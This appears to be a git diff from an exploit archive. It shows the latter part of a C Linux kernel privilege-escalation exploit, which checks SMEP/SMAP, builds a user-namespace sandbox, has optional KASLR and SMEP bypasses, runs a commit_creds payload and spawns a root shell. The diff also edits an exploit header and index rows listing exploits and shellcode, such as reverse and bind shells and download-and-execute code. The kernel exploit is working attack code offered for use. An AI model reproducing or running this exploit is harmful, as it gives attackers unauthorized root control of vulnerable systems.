||||
char buffer[PROC_CPUINFO_LENGTH];
|
||||
int length = read_file("/proc/cpuinfo", &buffer[0], PROC_CPUINFO_LENGTH);
|
||||
if (length == -1) {
|
||||
perror("[-] open/read(/proc/cpuinfo)");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
int rv = 0;
|
||||
char* found = memmem(&buffer[0], length, "smep", 4);
|
||||
if (found != NULL)
|
||||
rv += 1;
|
||||
found = memmem(&buffer[0], length, "smap", 4);
|
||||
if (found != NULL)
|
||||
rv += 2;
|
||||
return rv;
|
||||
}
|
||||
|
||||
void check_smep_smap() {
|
||||
int rv = smap_smep_enabled();
|
||||
if (rv >= 2) {
|
||||
printf("[-] SMAP detected, no bypass available\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
#if !ENABLE_SMEP_BYPASS
|
||||
if (rv >= 1) {
|
||||
printf("[-] SMEP detected, use ENABLE_SMEP_BYPASS\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *
|
||||
|
||||
static bool write_file(const char* file, const char* what, ...) {
|
||||
char buf[1024];
|
||||
va_list args;
|
||||
va_start(args, what);
|
||||
vsnprintf(buf, sizeof(buf), what, args);
|
||||
va_end(args);
|
||||
buf[sizeof(buf) - 1] = 0;
|
||||
int len = strlen(buf);
|
||||
|
||||
int fd = open(file, O_WRONLY | O_CLOEXEC);
|
||||
if (fd == -1)
|
||||
return false;
|
||||
if (write(fd, buf, len) != len) {
|
||||
close(fd);
|
||||
return false;
|
||||
}
|
||||
close(fd);
|
||||
return true;
|
||||
}
|
||||
|
||||
void setup_sandbox() {
|
||||
int real_uid = getuid();
|
||||
int real_gid = getgid();
|
||||
|
||||
if (unshare(CLONE_NEWUSER) != 0) {
|
||||
printf("[!] unprivileged user namespaces are not available\n");
|
||||
perror("[-] unshare(CLONE_NEWUSER)");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
if (unshare(CLONE_NEWNET) != 0) {
|
||||
perror("[-] unshare(CLONE_NEWUSER)");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (!write_file("/proc/self/setgroups", "deny")) {
|
||||
perror("[-] write_file(/proc/self/set_groups)");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)) {
|
||||
perror("[-] write_file(/proc/self/uid_map)");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
|
||||
perror("[-] write_file(/proc/self/gid_map)");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
cpu_set_t my_set;
|
||||
CPU_ZERO(&my_set);
|
||||
CPU_SET(0, &my_set);
|
||||
if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
|
||||
perror("[-] sched_setaffinity()");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (system("/sbin/ifconfig lo mtu 1500") != 0) {
|
||||
perror("[-] system(/sbin/ifconfig lo mtu 1500)");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
if (system("/sbin/ifconfig lo up") != 0) {
|
||||
perror("[-] system(/sbin/ifconfig lo up)");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
|
||||
void exec_shell() {
|
||||
char* shell = "/bin/bash";
|
||||
char* args[] = {shell, "-i", NULL};
|
||||
execve(shell, args, NULL);
|
||||
}
|
||||
|
||||
bool is_root() {
|
||||
// We can't simple check uid, since we're running inside a namespace
|
||||
// with uid set to 0. Try opening /etc/shadow instead.
|
||||
int fd = open("/etc/shadow", O_RDONLY);
|
||||
if (fd == -1)
|
||||
return false;
|
||||
close(fd);
|
||||
return true;
|
||||
}
|
||||
|
||||
void check_root() {
|
||||
printf("[.] checking if we got root\n");
|
||||
if (!is_root()) {
|
||||
printf("[-] something went wrong =(\n");
|
||||
return;
|
||||
}
|
||||
printf("[+] got r00t ^_^\n");
|
||||
exec_shell();
|
||||
}
|
||||
|
||||
int main(int argc, char** argv) {
|
||||
printf("[.] starting\n");
|
||||
|
||||
printf("[.] checking distro and kernel versions\n");
|
||||
detect_versions();
|
||||
printf("[~] done, versions looks good\n");
|
||||
|
||||
printf("[.] checking SMEP and SMAP\n");
|
||||
check_smep_smap();
|
||||
printf("[~] done, looks good\n");
|
||||
|
||||
printf("[.] setting up namespace sandbox\n");
|
||||
setup_sandbox();
|
||||
printf("[~] done, namespace sandbox set up\n");
|
||||
|
||||
#if ENABLE_KASLR_BYPASS
|
||||
printf("[.] KASLR bypass enabled, getting kernel addr\n");
|
||||
KERNEL_BASE = get_kernel_addr();
|
||||
printf("[~] done, kernel text: %lx\n", KERNEL_BASE);
|
||||
#endif
|
||||
|
||||
printf("[.] commit_creds: %lx\n", COMMIT_CREDS);
|
||||
printf("[.] prepare_kernel_cred: %lx\n", PREPARE_KERNEL_CRED);
|
||||
|
||||
unsigned long payload = (unsigned long)&get_root;
|
||||
|
||||
#if ENABLE_SMEP_BYPASS
|
||||
printf("[.] SMEP bypass enabled, mmapping fake stack\n");
|
||||
mmap_stack();
|
||||
payload = XCHG_EAX_ESP_RET;
|
||||
printf("[~] done, fake stack mmapped\n");
|
||||
#endif
|
||||
|
||||
printf("[.] executing payload %lx\n", payload);
|
||||
oob_execute(payload);
|
||||
printf("[~] done, should be root now\n");
|
||||
|
||||
check_root();
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
|
@ -1,3 +1,4 @@
|
|||
'''
|
||||
# Exploit Title: SentryHD 02.01.12e Privilege Escalation
|
||||
# Date: 18-01-2017
|
||||
# Software Link: http://www.minutemanups.com/
|
||||
|
|
@ -19,6 +20,7 @@ Using Execute Command File we can execute commands on Scheduled system shutdown
|
|||
https://security.szurek.pl/sentryhd-020112e-privilege-escalation.html
|
||||
|
||||
2. Proof of Concept
|
||||
'''
|
||||
|
||||
import ConfigParser
|
||||
import hashlib
|
||||
|
|
|
|||
|
|
@ -7039,7 +7039,7 @@ id,file,description,date,author,type,platform,port
|
|||
15033,exploits/windows/local/15033.py,"A-PDF All to MP3 Converter 1.1.0 - Universal Local (SEH)",2010-09-17,modpr0be,local,windows,
|
||||
15047,exploits/windows/local/15047.rb,"Audiotran 1.4.2.4 - Local Overflow (SEH) (DEP Bypass)",2010-09-19,"Muhamad Fadzil Ramli",local,windows,
|
||||
15099,exploits/windows/local/15099.rb,"SnackAmp 3.1.3B - SMP Buffer Overflow (SEH)",2010-09-24,"James Fitts",local,windows,
|
||||
15069,exploits/windows/local/15069.py,"Acoustica Audio Converter Pro 1.1 (build 25) - Local Heap Overflow (.mp3 / .wav / .ogg / .wma) (PoC)",2010-09-21,"Carlos Mario Penagos Hollmann",local,windows,
|
||||
15069,exploits/windows/local/15069.py,"Acoustica Audio Converter Pro 1.1 (build 25) - '.mp3 / .wav / .ogg / .wma' Local Heap Overflow (PoC)",2010-09-21,"Carlos Mario Penagos Hollmann",local,windows,
|
||||
15074,exploits/linux/local/15074.sh,"mountall 2.15.2 (Ubuntu 10.04/10.10) - Local Privilege Escalation",2010-09-21,fuzz,local,linux,
|
||||
15081,exploits/windows/local/15081.rb,"MP3 Workstation 9.2.1.1.2 - Local Overflow (SEH) (Metasploit)",2010-09-22,Madjix,local,windows,
|
||||
15094,exploits/windows/local/15094.py,"Microsoft Excel - OBJ Record Stack Overflow",2010-09-24,Abysssec,local,windows,
|
||||
|
|
@ -9241,6 +9241,7 @@ id,file,description,date,author,type,platform,port
|
|||
43366,exploits/windows/local/43366.md,"TeamViewer 11 < 13 (Windows 10 x86) - Inline Hooking / Direct Memory Modification Permission Change (PoC)",2017-12-04,gellin,local,windows,
|
||||
43390,exploits/windows/local/43390.txt,"Ubiquiti UniFi Video 3.7.3 - Local Privilege Escalation",2017-12-26,"Julien Ahrens",local,windows,
|
||||
43397,exploits/bsd/local/43397.md,"Sony Playstation 4 4.05 FW - Local Kernel Loader",2017-12-27,Specter,local,bsd,
|
||||
43418,exploits/linux/local/43418.c,"Linux Kernel < 4.4.0-83 / < 4.8.0-58 (Ubuntu 14.04/16.04) - Local Privilege Escalation (KASLR / SMEP)",2017-08-13,"Andrey Konovalov",local,linux,
|
||||
41675,exploits/android/local/41675.rb,"Google Android 4.2 Browser and WebView - 'addJavascriptInterface' Code Execution (Metasploit)",2012-12-21,Metasploit,local,android,
|
||||
41683,exploits/multiple/local/41683.rb,"Mozilla Firefox < 17.0.1 - Flash Privileged Code Injection (Metasploit)",2013-01-08,Metasploit,local,multiple,
|
||||
41700,exploits/windows/local/41700.rb,"Sun Java Web Start Plugin - Command Line Argument Injection (Metasploit)",2010-04-09,Metasploit,local,windows,
|
||||
|
|
@ -16129,7 +16130,7 @@ id,file,description,date,author,type,platform,port
|
|||
818,exploits/php/webapps/818.txt,"vBulletin 3.0.4 - 'forumdisplay.php' Code Execution (1)",2005-02-14,AL3NDALEEB,webapps,php,
|
||||
820,exploits/php/webapps/820.php,"vBulletin 3.0.4 - 'forumdisplay.php' Code Execution (2)",2005-02-15,AL3NDALEEB,webapps,php,
|
||||
832,exploits/php/webapps/832.txt,"vBulletin 3.0.6 - PHP Code Injection",2005-02-22,pokley,webapps,php,
|
||||
840,exploits/cgi/webapps/840.c,"AWStats 5.7 < 6.2 - Multiple Remote s (PoC)",2005-02-24,Silentium,webapps,cgi,
|
||||
840,exploits/cgi/webapps/840.c,"AWStats 5.7 < 6.2 - Multiple Remote (PoC)",2005-02-24,Silentium,webapps,cgi,
|
||||
853,exploits/cgi/webapps/853.c,"AWStats 5.7 < 6.2 - Multiple Remote s",2005-03-02,omin0us,webapps,cgi,
|
||||
857,exploits/php/webapps/857.txt,"PHP Form Mail 2.3 - Arbitrary File Inclusion",2005-03-05,"Filip Groszynski",webapps,php,
|
||||
858,exploits/php/webapps/858.txt,"phpBB 2.0.12 - Session Handling Authentication Bypass (tutorial)",2005-03-05,PPC,webapps,php,
|
||||
|
|
@ -23914,7 +23915,7 @@ id,file,description,date,author,type,platform,port
|
|||
14233,exploits/php/webapps/14233.txt,"Bs Auction Script - SQL Injection",2010-07-05,Sid3^effects,webapps,php,
|
||||
14237,exploits/php/webapps/14237.txt,"IBM Bladecenter Management - Multiple Web Application Vulnerabilities",2010-07-06,"Alexey Sintsov",webapps,php,
|
||||
14238,exploits/php/webapps/14238.txt,"BS Auction - SQL Injection",2010-07-06,"Easy Laster",webapps,php,
|
||||
14239,exploits/php/webapps/14239.txt,"Auto Dealer - SQL Injection (PoC)",2010-07-06,"Easy Laster",webapps,php,
|
||||
14239,exploits/php/webapps/14239.txt,"Auto Dealer - SQL Injection",2010-07-06,"Easy Laster",webapps,php,
|
||||
14240,exploits/php/webapps/14240.txt,"BS Auto Classifieds - 'info.php' SQL Injection (PoC)",2010-07-06,"Easy Laster",webapps,php,
|
||||
14241,exploits/php/webapps/14241.txt,"BS Business Directory - 'articlesdetails.php' SQL Injection (PoC)",2010-07-06,"Easy Laster",webapps,php,
|
||||
14242,exploits/php/webapps/14242.txt,"BS Classifieds Ads - 'articlesdetails.php' SQL Injection (PoC)",2010-07-06,"Easy Laster",webapps,php,
|
||||
|
|
|
|||
|
Can't render this file because it is too large.
|
|
|
@ -449,7 +449,7 @@ id,file,description,date,author,type,platform
|
|||
22489,shellcodes/windows/22489.cpp,"Windows XP Professional SP3 - calc.exe (C:/WINDOWS/system32/calc.exe) ROP Shellcode (428 bytes)",2012-11-05,b33f,shellcode,windows
|
||||
40890,shellcodes/win_x86-64/40890.c,"Windows x64 - Bind TCP Shell (4444/TCP) Shellcode (508 bytes)",2016-12-08,"Roziul Hasan Khan Shifat",shellcode,win_x86-64
|
||||
23622,shellcodes/lin_x86/23622.c,"Linux/x86 - Remote Port Forwarding (ssh -R 9999:localhost:22 192.168.0.226) Shellcode (87 bytes)",2012-12-24,"Hamza Megahed",shellcode,lin_x86
|
||||
24318,shellcodes/windows/24318.c,"Windows - URLDownloadToFile (http://bflow.security-portal.cz/down/xy.txt) + WinExec + ExitProcess Shellcode",2013-01-24,RubberDuck,shellcode,windows
|
||||
24318,shellcodes/windows/24318.c,"Windows (2000/XP/7 x64/x86) - URLDownloadToFile (http://bflow.security-portal.cz/down/xy.txt) + WinExec + ExitProcess Shellcode",2013-01-24,RubberDuck,shellcode,windows
|
||||
25497,shellcodes/lin_x86/25497.c,"Linux/x86 - Reverse TCP Shell (192.168.1.10:31337/TCP) Shellcode (92 bytes)",2013-05-17,"Russell Willis",shellcode,lin_x86
|
||||
40387,shellcodes/hardware/40387.nasm,"Cisco ASA - Authentication Bypass _EXTRABACON_ (Improved Shellcode) (69 bytes)",2016-09-16,"Sean Dillon",shellcode,hardware
|
||||
27132,shellcodes/hardware/27132.txt,"MIPS (Little Endian) - system() Shellcode (80 bytes)",2013-07-27,"Jacob Holcomb",shellcode,hardware
|
||||
|
|
|
|||
|
Loading…
Add table
Reference in a new issue